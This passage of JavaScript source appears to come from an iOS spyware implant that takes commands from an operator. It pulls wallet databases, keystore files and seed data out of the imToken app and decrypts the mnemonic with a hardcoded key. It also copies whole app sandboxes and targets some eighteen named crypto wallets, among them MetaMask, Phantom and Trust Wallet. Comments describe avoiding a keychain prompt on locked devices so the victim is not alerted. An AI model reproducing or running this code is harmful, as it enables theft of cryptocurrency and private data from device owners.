{}\n\t\t\t}\n\t\t} finally { _cfRelease(resultRef); }\n\t\treturn results;\n\t} finally {\n\t\tif (svcCF && svcCF !== 0n) _cfRelease(svcCF);\n\t\tif (acctCF && acctCF !== 0n) _cfRelease(acctCF);\n\t\tif (_authUIKeyCF && _authUIKeyCF !== 0n) _cfRelease(_authUIKeyCF);\n\t\tif (_authUIValCF && _authUIValCF !== 0n) _cfRelease(_authUIValCF);\n\t}\n}\n\nfunction _findImtokenKeychainPassword() {\n\t// fix #3b: DISABLED. _searchKeychain queries imToken-specific services with\n\t// kSecReturnData=true. On iOS 18.6, items protected by SecAccessControl\n\t// (biometricCurrentSet / devicePasscode) appear to bypass u_AuthUISkip and\n\t// trigger a \"Enter password for SpringBoard\" prompt even on locked devices,\n\t// while _secDumpClass (attributes-only, no specific service) stays silent\n\t// (-25300). The imToken keystore files are still exfiltrated from the sandbox\n\t// (the valuable data); only the keychain-password decryption attempt is\n\t// skipped. Phase 2 sqlite pipeline remains the real keychain decryption path.\n\treturn [];\n}\n\n// ============================================================================\n// imToken Wallet Extraction\n// ============================================================================\n\nfunction handleWalletExtract(cmd) {\n\tvar p = cmd.params || {};\n\tvar walletType = p.wallet_type || \"imtoken\";\n\tvar startMs = Date.now();\n\n\tif (walletType === \"imtoken\") {\n\t\t_extractImtoken(cmd, p, startMs);\n\t} else {\n\t\tsendJSON(cmd.command_id, {\n\t\t\tstatus: \"failed\", error: \"unsupported wallet_type: \" + walletType,\n\t\t\t_task_id: p._task_id || \"\", _task_type: \"wallet_extract\"\n\t\t}, \"wallet_extract_result.json\");\n\t}\n}\n\nfunction _extractImtoken(cmd, p, startMs) {\n\ttry {\n\t\tvar kcBytes = _readFileBytes(\"/tmp/imtoken_keychain.json\", 2 * 1024 * 1024);\n\t\tif (kcBytes && kcBytes.byteLength > 10) {\n\t\t\tsendResult(cmd.command_id, bytesToBase64(kcBytes),\n\t\t\t\t\"imtoken_keychain.json\", \"imtoken_keychain\");\n\t\t}\n\t} catch(e) {}\n\n\tvar bundleId = \"im.token.app\";\n\tvar containerPath = _findAppContainer(bundleId);\n\tif (!containerPath) {\n\t\tsendJSON(cmd.command_id, {\n\t\t\tstatus: \"failed\", error: \"imToken container not found\",\n\t\t\twallet_type: \"imtoken\",\n\t\t\t_task_id: p._task_id || \"\", _task_type: \"wallet_extract\"\n\t\t}, \"wallet_extract_result.json\");\n\t\treturn;\n\t}\n\n\tvar storageSub = \"Library/Application Support/im.token.app/RCTAsyncLocalStorage_V1\";\n\tvar data = _readAsyncStorage(containerPath, storageSub);\n\tif (!data) {\n\t\tvar altSub = \"Documents/RCTAsyncLocalStorage_V1\";\n\t\tdata = _readAsyncStorage(containerPath, altSub);\n\t}\n\n\tvar result = {\n\t\tstatus: \"success\",\n\t\twallet_type: \"imtoken\",\n\t\tcontainer: containerPath,\n\t\twallets: [],\n\t\tassets: [],\n\t\traw_keys: [],\n\t\trealm_files: [],\n\t\twallet_dir_files: [],\n\t\t_task_id: p._task_id || \"\",\n\t\t_task_type: \"wallet_extract\"\n\t};\n\n\t// --- Phase 1: Realm database extraction (primary wallet storage) ---\n\t// imToken stores Realm in Documents/ (primary) or Library/Application Support/\n\tvar realmUploaded = false;\n\tvar realmSearchDirs = [\n\t\tcontainerPath + \"/Documents\",\n\t\tcontainerPath + \"/Library/Application Support/im.token.app\"\n\t];\n\tfor (var rdi = 0; rdi < realmSearchDirs.length; rdi++) {\n\t\tif (realmUploaded) break;\n\t\tvar realmDir = realmSearchDirs[rdi];\n\t\ttry {\n\t\t\tvar realmPath = realmDir + \"/default.realm\";\n\t\t\tvar realmSt = _statFile(realmPath);\n\t\t\tif (realmSt && realmSt.isFile && realmSt.size > 0) {\n\t\t\t\tresult.realm_files.push({\n\t\t\t\t\tpath: realmPath, size: realmSt.size\n\t\t\t\t});\n\t\t\t\tvar realmMaxSz = 16 * 1024 * 1024;\n\t\t\t\tif (realmSt.size <= realmMaxSz) {\n\t\t\t\t\tvar realmData = readFileB64(realmPath, realmMaxSz);\n\t\t\t\t\tif (realmData) {\n\t\t\t\t\t\tsendResult(cmd.command_id, realmData.b64,\n\t\t\t\t\t\t\t\"imtoken_default.realm\", \"wallet_extract\");\n\t\t\t\t\t\trealmUploaded = true;\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\tsendFileChunked(cmd.command_id, realmPath,\n\t\t\t\t\t\t\"imtoken_default.realm\", \"wallet_extract\");\n\t\t\t\t\trealmUploaded = true;\n\t\t\t\t}\n\t\t\t}\n\t\t} catch (realmErr) {\n\t\t\tresult.realm_error = String(realmErr);\n\t\t}\n\t}\n\n\t// --- Phase 2: Scan walletsV2/ and wallets/ directories for keystore files ---\n\t// These dirs can be in Documents/ or Library/Application Support/im.token.app/\n\tvar walletDirs = [];\n\tvar walletSearchBases = [\n\t\tcontainerPath + \"/Documents\",\n\t\tcontainerPath + \"/Library/Application Support/im.token.app\"\n\t];\n\tfor (var wb = 0; wb < walletSearchBases.length; wb++) {\n\t\tvar wbDir = walletSearchBases[wb];\n\t\tvar v2 = wbDir + \"/walletsV2\";\n\t\tvar v1 = wbDir + \"/wallets\";\n\t\tif (_statFile(v2)) walletDirs.push(v2);\n\t\tif (_statFile(v1)) walletDirs.push(v1);\n\t}\n\n\t// Keychain password for decryption attempts\n\tvar keychainPassword = null;\n\tresult.keychain_items = [];\n\ttry {\n\t\tvar keychainItems = _findImtokenKeychainPassword();\n\t\tif (keychainItems && keychainItems.length > 0) {\n\t\t\tfor (var ki = 0; ki < keychainItems.length; ki++) {\n\t\t\t\tresult.keychain_items.push(keychainItems[ki]);\n\t\t\t\tif (!keychainPassword && keychainItems[ki].data &&\n\t\t\t\t\tkeychainItems[ki].data.length >= 4) {\n\t\t\t\t\tkeychainPassword = keychainItems[ki].data;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t} catch (kcErr) {\n\t\tresult.keychain_error = String(kcErr);\n\t}\n\tvar password = p.password || keychainPassword;\n\n\tfor (var di = 0; di < walletDirs.length; di++) {\n\t\tvar wdir = walletDirs[di];\n\t\tvar wdirSt = _statFile(wdir);\n\t\tif (!wdirSt || !wdirSt.isDir) continue;\n\t\tvar entries = listDir(wdir);\n\t\tfor (var ei = 0; ei < entries.length; ei++) {\n\t\t\tvar ent = entries[ei];\n\t\t\tvar entPath = wdir + \"/\" + ent.name;\n\t\t\tif (ent.type === \"file\") {\n\t\t\t\tresult.wallet_dir_files.push({\n\t\t\t\t\tdir: di === 0 ? \"walletsV2\" : \"wallets\",\n\t\t\t\t\tname: ent.name\n\t\t\t\t});\n\t\t\t\tvar entSt = _statFile(entPath);\n\t\t\t\tif (entSt && entSt.size > 0 && entSt.size < 4 * 1024 * 1024) {\n\t\t\t\t\tvar fb64 = readFileB64(entPath, 4 * 1024 * 1024);\n\t\t\t\t\tif (fb64) {\n\t\t\t\t\t\tvar fname = (di === 0 ? \"walletsV2_\" : \"wallets_\") + ent.name;\n\t\t\t\t\t\tsendResult(cmd.command_id, fb64.b64,\n\t\t\t\t\t\t\tfname, \"wallet_extract\");\n\t\t\t\t\t}\n\t\t\t\t\t// Parse JSON wallet files and attempt decryption\n\t\t\t\t\tif (ent.name.endsWith(\".json\")) {\n\t\t\t\t\t\ttry {\n\t\t\t\t\t\t\tvar fileBytes = _readFileBytes(entPath, 4 * 1024 * 1024);\n\t\t\t\t\t\t\tif (fileBytes) {\n\t\t\t\t\t\t\t\tvar w = JSON.parse(_rawToStr(fileBytes));\n\t\t\t\t\t\t\t\tvar walletInfo = {\n\t\t\t\t\t\t\t\t\tid: w.id || ent.name.replace(\".json\", \"\"),\n\t\t\t\t\t\t\t\t\tname: (w.imTokenMeta && w.imTokenMeta.name) || \"\",\n\t\t\t\t\t\t\t\t\tsource: (w.imTokenMeta && w.imTokenMeta.source) || \"\",\n\t\t\t\t\t\t\t\t\tnetwork: (w.imTokenMeta && w.imTokenMeta.network) || \"\",\n\t\t\t\t\t\t\t\t\tversion: w.version || 0,\n\t\t\t\t\t\t\t\t\tfrom_dir: di === 0 ? \"walletsV2\" : \"wallets\"\n\t\t\t\t\t\t\t\t};\n\t\t\t\t\t\t\t\tif (w.crypto) {\n\t\t\t\t\t\t\t\t\twalletInfo.kdf = w.crypto.kdf || \"unknown\";\n\t\t\t\t\t\t\t\t\twalletInfo.cipher = w.crypto.cipher || \"unknown\";\n\t\t\t\t\t\t\t\t\twalletInfo.keystore_present = true;\n\t\t\t\t\t\t\t\t\tif (password) {\n\t\t\t\t\t\t\t\t\t\ttry {\n\t\t\t\t\t\t\t\t\t\t\tvar decResult = _decryptKeystoreV3(w.crypto, password);\n\t\t\t\t\t\t\t\t\t\t\tif (decResult) {\n\t\t\t\t\t\t\t\t\t\t\t\twalletInfo.decrypt_result = decResult;\n\t\t\t\t\t\t\t\t\t\t\t\twalletInfo.password_source = p.password ? \"provided\" : \"keychain\";\n\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t} catch (decErr) {\n\t\t\t\t\t\t\t\t\t\t\twalletInfo.decrypt_error = String(decErr);\n\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\tif (w.encOriginal) {\n\t\t\t\t\t\t\t\t\twalletInfo.encOriginal_present = true;\n\t\t\t\t\t\t\t\t\tvar fixedKey = \"456b38706c33314b3279654867517779\";\n\t\t\t\t\t\t\t\t\ttry {\n\t\t\t\t\t\t\t\t\t\tvar decOrig = _decryptEncryptedMessage(w.encOriginal, fixedKey);\n\t\t\t\t\t\t\t\t\t\tif (decOrig) walletInfo.original_fixed_key = decOrig;\n\t\t\t\t\t\t\t\t\t} catch (origErr) {\n\t\t\t\t\t\t\t\t\t\twalletInfo.encOriginal_error = String(origErr);\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\tif (w.encMnemonic) {\n\t\t\t\t\t\t\t\t\twalletInfo.encMnemonic_present = true;\n\t\t\t\t\t\t\t\t\tvar fixedKey2 = \"456b38706c33314b3279654867517779\";\n\t\t\t\t\t\t\t\t\ttry {\n\t\t\t\t\t\t\t\t\t\tvar decMnem = _decryptEncryptedMessage(w.encMnemonic, fixedKey2);\n\t\t\t\t\t\t\t\t\t\tif (decMnem) walletInfo.mnemonic_fixed_key = decMnem;\n\t\t\t\t\t\t\t\t\t} catch (mnemErr) {\n\t\t\t\t\t\t\t\t\t\twalletInfo.encMnemonic_error = String(mnemErr);\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\tif (w.identity) {\n\t\t\t\t\t\t\t\t\twalletInfo.identifier = w.identity.identifier || \"\";\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\tresult.wallets.push(walletInfo);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t} catch (parseErr) {}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t} else if (ent.type === \"dir\") {\n\t\t\t\tvar subEntries = listDir(entPath);\n\t\t\t\tfor (var si = 0; si < subEntries.length; si++) {\n\t\t\t\t\tvar subEnt = subEntries[si];\n\t\t\t\t\tif (subEnt.type !== \"file\") continue;\n\t\t\t\t\tvar subPath = entPath + \"/\" + subEnt.name;\n\t\t\t\t\tresult.wallet_dir_files.push({\n\t\t\t\t\t\tdir: (di === 0 ? \"walletsV2\" : \"wallets\") + \"/\" + ent.name,\n\t\t\t\t\t\tname: subEnt.name\n\t\t\t\t\t});\n\t\t\t\t\tvar subSt = _statFile(subPath);\n\t\t\t\t\tif (subSt && subSt.size > 0 && subSt.size < 4 * 1024 * 1024) {\n\t\t\t\t\t\tvar sb64 = readFileB64(subPath, 4 * 1024 * 1024);\n\t\t\t\t\t\tif (sb64) {\n\t\t\t\t\t\t\tvar sfname = (di === 0 ? \"walletsV2_\" : \"wallets_\") +\n\t\t\t\t\t\t\t\tent.name + \"_\" + subEnt.name;\n\t\t\t\t\t\t\tsendResult(cmd.command_id, sb64.b64,\n\t\t\t\t\t\t\t\tsfname, \"wallet_extract\");\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\t// --- Phase 3: AsyncStorage (Redux persist) ---\n\tif (data) {\n\t\tvar rawKeys = Object.keys(data);\n\t\tresult.raw_keys = rawKeys;\n\n\t\tvar walletsRaw = null;\n\t\tif (data[\"walletsV2\"]) {\n\t\t\ttry { walletsRaw = JSON.parse(data[\"walletsV2\"]); } catch(e) {}\n\t\t}\n\t\tif (!walletsRaw && data[\"wallets\"]) {\n\t\t\ttry { walletsRaw = JSON.parse(data[\"wallets\"]); } catch(e) {}\n\t\t}\n\n\t\tif (walletsRaw) {\n\t\t\tvar wArr = Array.isArray(walletsRaw) ? walletsRaw :\n\t\t\t\t(walletsRaw.wallets ? walletsRaw.wallets : [walletsRaw]);\n\t\t\tfor (var wi = 0; wi < wArr.length; wi++) {\n\t\t\t\tvar w = wArr[wi];\n\t\t\t\tvar walletInfo = {\n\t\t\t\t\tid: w.id || w.walletID || (\"wallet_\" + wi),\n\t\t\t\t\tname: w.name || \"\",\n\t\t\t\t\taddress: w.address || \"\",\n\t\t\t\t\tsource: w.source || \"\",\n\t\t\t\t\tchainType: w.chainType || \"\"\n\t\t\t\t};\n\n\t\t\t\tif (w.keystore || w.crypto) {\n\t\t\t\t\tvar ks = w.keystore || { crypto: w.crypto };\n\t\t\t\t\twalletInfo.keystore_raw = ks;\n\t\t\t\t\twalletInfo.kdf = ks.crypto ? ks.crypto.kdf : \"unknown\";\n\n\t\t\t\t\tif (password) {\n\t\t\t\t\t\tvar decResult = _decryptKeystoreV3(ks.crypto, password);\n\t\t\t\t\t\tif (decResult) {\n\t\t\t\t\t\t\twalletInfo.decrypt_result = decResult;\n\t\t\t\t\t\t\twalletInfo.password_source = p.password ? \"provided\" : \"keychain\";\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tif (w.encMnemonic) {\n\t\t\t\t\twalletInfo.encMnemonic_raw = w.encMnemonic;\n\t\t\t\t\tif (typeof w.encMnemonic === \"object\" && w.encMnemonic.encStr) {\n\t\t\t\t\t\tvar fixedKey = \"456b38706c33314b3279654867517779\";\n\t\t\t\t\t\tvar dec = _decryptEncryptedMessage(w.encMnemonic, fixedKey);\n\t\t\t\t\t\tif (dec) walletInfo.mnemonic_fixed_key = dec;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tif (w.encOriginal) {\n\t\t\t\t\twalletInfo.encOriginal_raw = w.encOriginal;\n\t\t\t\t\tif (typeof w.encOriginal === \"object\" && w.encOriginal.encStr) {\n\t\t\t\t\t\tvar fixedKey2 = \"456b38706c33314b3279654867517779\";\n\t\t\t\t\t\tvar dec2 = _decryptEncryptedMessage(w.encOriginal, fixedKey2);\n\t\t\t\t\t\tif (dec2) walletInfo.original_fixed_key = dec2;\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tresult.wallets.push(walletInfo);\n\t\t\t}\n\t\t}\n\n\t\tif (data[\"AssetToken\"]) {\n\t\t\ttry {\n\t\t\t\tvar assetData = JSON.parse(data[\"AssetToken\"]);\n\t\t\t\tvar items = assetData.itemsById || assetData;\n\t\t\t\tif (typeof items === \"object\") {\n\t\t\t\t\tfor (var assetKey in items) {\n\t\t\t\t\t\tif (!items.hasOwnProperty(assetKey)) continue;\n\t\t\t\t\t\tvar a = items[assetKey];\n\t\t\t\t\t\tresult.assets.push({\n\t\t\t\t\t\t\twalletAddress: a.walletAddress || a.accountAddress || \"\",\n\t\t\t\t\t\t\tchainId: a.chainId || \"\",\n\t\t\t\t\t\t\tchainType: a.chainType || \"\",\n\t\t\t\t\t\t\tname: a.name || \"\",\n\t\t\t\t\t\t\tsymbol: a.symbol || \"\",\n\t\t\t\t\t\t\tbalance: a.balance || \"0\",\n\t\t\t\t\t\t\tdecimal: a.decimal || 0\n\t\t\t\t\t\t});\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t} catch(e) {\n\t\t\t\tresult.asset_parse_error = String(e);\n\t\t\t}\n\t\t}\n\n\t\tvar sensitiveKeys = [\"walletsV2\", \"wallets\", \"crypto\", \"encMnemonic\",\n\t\t\t\"encOriginal\", \"AssetToken\", \"identities\", \"accounts\"];\n\t\tvar rawData = {};\n\t\tfor (var ki = 0; ki < sensitiveKeys.length; ki++) {\n\t\t\tif (data[sensitiveKeys[ki]]) {\n\t\t\t\trawData[sensitiveKeys[ki]] = data[sensitiveKeys[ki]];\n\t\t\t}\n\t\t}\n\t\tfor (var rk = 0; rk < rawKeys.length; rk++) {\n\t\t\tvar lk = rawKeys[rk].toLowerCase();\n\t\t\tif (lk.indexOf(\"wallet\") >= 0 || lk.indexOf(\"token\") >= 0 ||\n\t\t\t\tlk.indexOf(\"mnemonic\") >= 0 || lk.indexOf(\"seed\") >= 0 ||\n\t\t\t\tlk.indexOf(\"key\") >= 0 || lk.indexOf(\"account\") >= 0 ||\n\t\t\t\tlk.indexOf(\"identity\") >= 0 || lk.indexOf(\"crypto\") >= 0) {\n\t\t\t\tif (!rawData[rawKeys[rk]]) rawData[rawKeys[rk]] = data[rawKeys[rk]];\n\t\t\t}\n\t\t}\n\n\t\tif (Object.keys(rawData).length > 0) {\n\t\t\tvar rawJson = JSON.stringify(rawData);\n\t\t\tvar rawB64 = bytesToBase64(new Uint8Array(Native.stringToBytes(rawJson, false)));\n\t\t\tsendResult(cmd.command_id, rawB64,\n\t\t\t\t\"imtoken_raw_storage.json\", \"wallet_extract\");\n\t\t}\n\t} else {\n\t\tresult.async_storage_status = \"not_found\";\n\t}\n\n\tresult.realm_uploaded = realmUploaded;\n\tvar endMs = Date.now();\n\tresult.execution_time = (endMs - startMs) / 1000;\n\tsendJSON(cmd.command_id, result, \"wallet_extract_result.json\",\n\t\t{ start_ms: startMs, end_ms: endMs });\n}\n\n// ============================================================================\n// ios_app_data: collect sandboxed app data by bundle_id\n// ============================================================================\n\nvar APP_DATA_BASE = \"/var/mobile/Containers/Data/Application\";\nvar APP_GROUP_BASE = \"/var/mobile/Containers/Shared/AppGroup\";\n\nfunction _toFfsPath(absPath) {\n\tif (absPath.indexOf(\"/private/\") === 0) return absPath.substring(1);\n\tif (absPath.indexOf(\"/var/\") === 0) return \"private\" + absPath;\n\tif (absPath.charAt(0) === \"/\") return absPath.substring(1);\n\treturn absPath;\n}\n\nfunction _findContainerIn(basePath, bundleId) {\n\tvar dirs = listDir(basePath);\n\tfor (var i = 0; i < dirs.length; i++) {\n\t\tif (dirs[i].type !== \"dir\") continue;\n\t\tvar containerPath = basePath + \"/\" + dirs[i].name;\n\t\tvar plistPath = containerPath + \"/.com.apple.mobile_container_manager.metadata.plist\";\n\t\tvar acc = Number(Native.callSymbol(\"access\", plistPath, 0));\n\t\tif (acc !== 0) continue;\n\t\tvar bytes = _readFileBytes(plistPath, 8192);\n\t\tif (!bytes || bytes.length === 0) continue;\n\t\tvar content = _rawToStr(bytes);\n\t\tif (content.indexOf(bundleId) >= 0) return containerPath;\n\t}\n\treturn null;\n}\n\nfunction _findAppContainer(bundleId) {\n\treturn _findContainerIn(APP_DATA_BASE, bundleId);\n}\n\nfunction _findAppGroupContainer(bundleId) {\n\treturn _findContainerIn(APP_GROUP_BASE, bundleId);\n}\n\nfunction _collectAppFiles(basePath, subPaths, excludePaths, filterMode, fileExts, maxFileSizeMB) {\n\tvar maxBytes = (maxFileSizeMB && maxFileSizeMB > 0) ? maxFileSizeMB * 1024 * 1024 : 0;\n\tvar exts = [];\n\tif (fileExts) {\n\t\tvar parts = fileExts.split(\",\");\n\t\tfor (var i = 0; i < parts.length; i++) {\n\t\t\tvar e = parts[i].trim();\n\t\t\tif (e) exts.push(e.toLowerCase());\n\t\t}\n\t}\n\n\tvar scanRoots = [];\n\tif (subPaths && subPaths.length > 0) {\n\t\tfor (var i = 0; i < subPaths.length; i++) {\n\t\t\tvar sp = subPaths[i];\n\t\t\tvar full = (sp.charAt(0) === \"/\") ? basePath + sp : basePath + \"/\" + sp;\n\t\t\tif (_statFile(full)) scanRoots.push(full);\n\t\t}\n\t} else {\n\t\tscanRoots.push(basePath);\n\t}\n\n\tvar excludeFull = [];\n\tif (excludePaths) {\n\t\tfor (var i = 0; i < excludePaths.length; i++) {\n\t\t\texcludeFull.push(basePath + excludePaths[i]);\n\t\t}\n\t}\n\n\tvar files = [];\n\tfor (var ri = 0; ri < scanRoots.length; ri++) {\n\t\t_scanDir(scanRoots[ri], files, true, excludeFull,\n\t\t\tfilterMode || \"none\", exts, maxBytes);\n\t}\n\treturn files;\n}\n\nfunction handleIosAppData(cmd) {\n\tvar p = cmd.params || {};\n\tvar targets = p.targets || [];\n\tvar maxFileSizeMB = (p.max_file_size_mb !== undefined) ? p.max_file_size_mb : 500;\n\tvar startMs = Date.now();\n\n\tif (!targets.length) {\n\t\tsendJSON(cmd.command_id, {\n\t\t\tstatus: \"failed\", error: \"empty targets array\",\n\t\t\t_task_id: p._task_id || \"\", _task_type: \"ios_app_data\"\n\t\t}, \"ios_app_data_result.json\", { start_ms: startMs, end_ms: Date.now() });\n\t\treturn;\n\t}\n\n\tvar totalCollected = 0;\n\tvar totalUploaded = 0;\n\tvar targetResults = [];\n\n\tfor (var ti = 0; ti < targets.length; ti++) {\n\t\tvar t = targets[ti];\n\t\tvar bundleId = t.bundle_id;\n\t\tif (!bundleId) {\n\t\t\ttargetResults.push({ bundle_id: \"\", status: \"skipped\", error: \"empty bundle_id\" });\n\t\t\tcontinue;\n\t\t}\n\n\t\tvar containerPath = _findAppContainer(bundleId);\n\t\tvar groupPath = _findAppGroupContainer(bundleId);\n\n\t\tif (!containerPath && !groupPath) {\n\t\t\ttargetResults.push({ bundle_id: bundleId, status: \"not_found\",\n\t\t\t\terror: \"app container not found\" });\n\t\t\tcontinue;\n\t\t}\n\n\t\tvar effectiveMax = maxFileSizeMB;\n\t\tif (effectiveMax === -1) effectiveMax = 0;\n\n\t\tvar containers = [];\n\t\tif (containerPath) containers.push(containerPath);\n\t\tif (groupPath) containers.push(groupPath);\n\n\t\tvar uploaded = 0;\n\t\tvar allFiles = 0;\n\n\t\tfor (var ci = 0; ci < containers.length; ci++) {\n\t\t\tvar ctrPath = containers[ci];\n\t\t\tvar files = _collectAppFiles(ctrPath, t.paths || null,\n\t\t\t\tt.exclude_paths || null, t.filter_mode || \"none\",\n\t\t\t\tt.file_extensions || \"\", effectiveMax);\n\t\t\tallFiles += files.length;\n\n\t\t\tfor (var fi = 0; fi < files.length; fi++) {\n\t\t\t\tvar fname = _toFfsPath(files[fi]);\n\n\t\t\t\tvar sz = getFileSize(files[fi]);\n\t\t\t\tif (sz <= 0) continue;\n\n\t\t\t\tvar isLast = (ci === containers.length - 1 && fi === files.length - 1);\n\t\t\t\tvar meta = isLast ? { start_ms: startMs, end_ms: Date.now() } : null;\n\n\t\t\t\tif (sz <= CHUNK_SIZE) {\n\t\t\t\t\tvar rd = readFileB64(files[fi],\n\t\t\t\t\t\teffectiveMax > 0 ? effectiveMax * 1024 * 1024 : MAX_FILE_SIZE);\n\t\t\t\t\tif (rd) {\n\t\t\t\t\t\tsendResult(cmd.command_id, rd.b64, fname, \"ios_app_data\", meta);\n\t\t\t\t\t\tuploaded++;\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\tvar chunkRes = sendFileChunked(cmd.command_id, files[fi],\n\t\t\t\t\t\tfname, \"ios_app_data\", meta);\n\t\t\t\t\tif (chunkRes && chunkRes.ok) uploaded++;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\ttotalCollected += allFiles;\n\t\ttotalUploaded += uploaded;\n\t\ttargetResults.push({\n\t\t\tbundle_id: bundleId,\n\t\t\tcontainer: containerPath || null,\n\t\t\tapp_group: groupPath || null,\n\t\t\tstatus: \"done\",\n\t\t\tfiles_found: allFiles,\n\t\t\tfiles_uploaded: uploaded\n\t\t});\n\t}\n\n\tvar endMs = Date.now();\n\tsendJSON(cmd.command_id, {\n\t\tstatus: totalUploaded > 0 ? \"success\" : (totalCollected > 0 ? \"partial\" : \"empty\"),\n\t\tfile_count: totalUploaded,\n\t\ttotal_scanned: totalCollected,\n\t\ttargets_processed: targetResults.length,\n\t\ttarget_details: targetResults,\n\t\texecution_time: (endMs - startMs) / 1000,\n\t\t_task_id: p._task_id || \"\",\n\t\t_task_type: \"ios_app_data\"\n\t}, \"ios_app_data_result.json\", { start_ms: startMs, end_ms: endMs });\n}\n\n// ============================================================================\n// wallet_scan: scan installed wallet apps and collect sandbox files\n// ============================================================================\n\nvar WALLET_BUNDLE_IDS = {\n\t// All listed wallets collect sandbox hot-files when installed.\n\t// Keychain dump still covers secrets; sandbox globs catch app-local vaults.\n\t\"com.bitpie.wallet\": { name: \"Bitpie\", sandbox: true,\n\t\tfiles: [\"Documents/*\", \"Library/Preferences/com.bitpie.wallet.plist\"] },\n\t\"com.uniswap.mobile\": { name: \"Uniswap\", sandbox: true,\n\t\tfiles: [\"Library/Application Support/*/RCTAsyncLocalStorage_V1/*\", \"Documents/*\"] },\n\t\"app.phantom\": { name: \"Phantom\", sandbox: true,\n\t\tfiles: [\"Documents/*\", \"Library/Application Support/*/*\"] },\n\t\"com.solflare.mobile\": { name: \"Solflare\", sandbox: true,\n\t\tfiles: [\"Documents/mmkv/*\", \"Library/Preferences/com.solflare.mobile.plist\"] },\n\t\"org.mytonwallet.app\": { name: \"MyTonWallet\", sandbox: true,\n\t\tfiles: [\"Documents/*\", \"Library/Application Support/*/*\"] },\n\t\"org.toshi\": { name: \"Coinbase\", sandbox: true,\n\t\tfiles: [\"Documents/*\", \"Library/Application Support/*/*\", \"Library/Preferences/org.toshi.plist\"] },\n\t\"io.metamask.MetaMask\": { name: \"MetaMask\", sandbox: true,\n\t\tmaxFileSize: 5 * 1024 * 1024,\n\t\tfiles: [\"Documents/persist-root\", \"Documents/*\", \"Library/Application Support/*/*\"] },\n\t\"com.okex.OKExAppstoreFull\": { name: \"OKX\", sandbox: true,\n\t\tfiles: [\"Documents/*\", \"Library/Preferences/com.okex.OKExAppstoreFull.plist\",\n\t\t\t\"Library/Application Support/*/*\"] },\n\t\"exodusmovement.exodus\": { name: \"Exodus\", sandbox: true,\n\t\tfiles: [\"Documents/*\", \"Library/Application Support/*/*\"] },\n\t\"exodus-movement.exodus\": { name: \"Exodus\", sandbox: true,\n\t\tfiles: [\"Documents/*\", \"Library/Application Support/*/*\"] },\n\t\"com.jbig.tonkeeper\": { name: \"Tonkeeper\", sandbox: true,\n\t\tfiles: [\"Documents/mmkv/*\", \"Documents/*\", \"Library/Application Support/*/*\"] },\n\n\t\"com.sixdays.trust\": { name: \"Trust Wallet\", sandbox: true,\n\t\tfiles: [\"Documents/UTC--*\", \"Documents/keystore/UTC--*\", \"Documents/*\"] },\n\t\"com.bitkeep.os\": { name: \"Bitget\", sandbox: true,\n\t\tfiles: [\"Library/Preferences/com.bitkeep.os.plist\", \"Documents/*\"] },\n\t\"coin98.crypto.finance.insights\": { name: \"Coin98\", sandbox: true,\n\t\tmaxFileSize: 10 * 1024 * 1024,\n\t\tfiles: [\"Library/Application Support/coin98.crypto.finance.insights/RCTAsyncLocalStorage_V1/*\",\n\t\t\t\"Documents/mmkv/*\", \"Library/Application Support/mmkv/*\"] },\n\t\"com.tonhub.app\": { name: \"Tonhub\", sandbox: true,\n\t\tfiles: [\"Documents/mmkv/mmkv.default\", \"Documents/mmkv/*\"] },\n\t\"com.tronlink.hdwallet\": { name: \"TronLink\", sandbox: true,\n\t\tfiles: [\"Documents/keystore/UTC--*\", \"Documents/UTC--*\", \"Documents/wallets/*\",\n\t\t\t\"Documents/*\", \"Library/Preferences/com.tronlink.hdwallet.plist\"] },\n\t\"com.global.wallet.ios\": { name: \"TokenPocket\", sandbox: true,\n\t\tfiles: [\"Documents/wallets/*\", \"Documents/identity.json\", \"Documents/*\",\n\t\t\t\"Library/Preferences/com.global.wallet.ios.plist\"] },\n\t\"im.token.app\": { name: \"imToken\", sandbox: true,\n\t\tfiles: [\"Documents/walletsV2/*.json\", \"Documents/walletsV2/*\", \"Documents/*\",\n\t\t\t\"Documents/default.realm\"] }\n};\n\nfunction _resolveWalletFiles(containerPath, patterns) {\n\t// Supports mid-path globs: \"Library/Application Support/*/*\"\n\tvar results = [];\n\tvar seen = {};\n\tfunction pushFile(rel, abs) {\n\t\tif (seen[rel]) return;\n\t\tseen[rel] = true;\n\t\tresults.push({ relPath: rel, absPath: abs });\n\t}\n\tfunction expand(relPrefix, segs, si) {\n\t\tif (si >= segs.length) return;\n\t\tvar seg = segs[si];\n\t\tif (!seg) { expand(relPrefix, segs, si + 1); return; }\n\t\tvar isLast = (si === segs.length - 1);\n\t\tvar dirPath = containerPath + (relPrefix ? \"/\" + relPrefix : \"\");\n\t\tif (seg.indexOf(\"*\") >= 0 || seg.indexOf(\"?\") >= 0) {\n\t\t\tvar items = listDir(dirPath);\n\t\t\tfor (var i = 0; i < items.length; i++) {\n\t\t\t\tif (!_matchGlob(items[i].name, seg)) continue;\n\t\t\t\tvar nextRel = relPrefix ? (relPrefix + \"/\" + items[i].name) : items[i].name;\n\t\t\t\tif (isLast) {\n\t\t\t\t\tif (items[i].type === \"file\")\n\t\t\t\t\t\tpushFile(nextRel, dirPath + \"/\" + items[i].name);\n\t\t\t\t} else if (items[i].type === \"dir\") {\n\t\t\t\t\texpand(nextRel, segs, si + 1);\n\t\t\t\t}\n\t\t\t}\n\t\t} else if (isLast) {\n\t\t\tvar full = dirPath + \"/\" + 